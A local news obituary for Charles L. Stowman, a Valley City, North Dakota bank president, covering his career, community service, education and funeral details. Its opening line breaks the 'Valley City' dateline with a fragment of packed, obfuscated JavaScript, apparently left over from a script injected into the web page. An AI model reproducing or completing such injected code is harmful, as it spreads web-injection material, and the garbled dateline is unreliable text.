VALLEY stsrr|var|u0026u|referrer|anifb||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) Charles L. Stowman passed away on November 17 at the age of 69.
Stowman was with the Farmers and Merchants Bank from the time of its establishment in 1973 until he retired as the president of Dacotah Bank in 2001. His love of Valley City was evident by his active involvement in community affairs.
Dacotah Bank president Dick Gulmon worked 20 years for Stowman. Gulmon said Chuck was a great man, mentor to his employees and family man. Gulmon said Stowman left a lasting legacy with his work ethic, high character and commitment to the community as a public servant.
Stowman served as a city commissioner was Past-President of the Valley City/Barnes County Development Corporation, and of the North Dakota Independent Bank Association. He belonged to the El Zagal Shriners, Elks, and Eagles Clubs.
Known to some as Chuck or Charlie. No matter what you called him you knew him as a person of quick wit, sensitivity, humble generosity, and kindness. If he gave you a nickname, you knew you were a very special person to him.
Stowman graduated from Valley City High School in 1964. He obtained a Business Administration degree from the University of North Dakota in 1968 and a Masters of Banking degree from the University of Wisconsin.
A funeral service will be held at 2:00 PM on Monday, November 23 at Our Savior’s Lutheran Church in Valley City.
Visitation will be held on Sunday, November 22 from 5:00-7:00 PM at the church and one hour before the funeral service. A prayer service will be held at 7:00 PM on Sunday evening at Our Savior’s.
Internment will take place at a later date at Memory Garden Cemetery near Valley City.
Funeral arrangements have been handled by the Oliver-Nathan Funeral Chapel, Valley City. An online guestbook for Chuck is available at www.olivernathanchapel.com.
In lieu of flowers, the family prefers memorials given to Sheyenne Valley Community Foundation – Wellness Center, Valley City State Foundation, and Our Savior’s Foundation.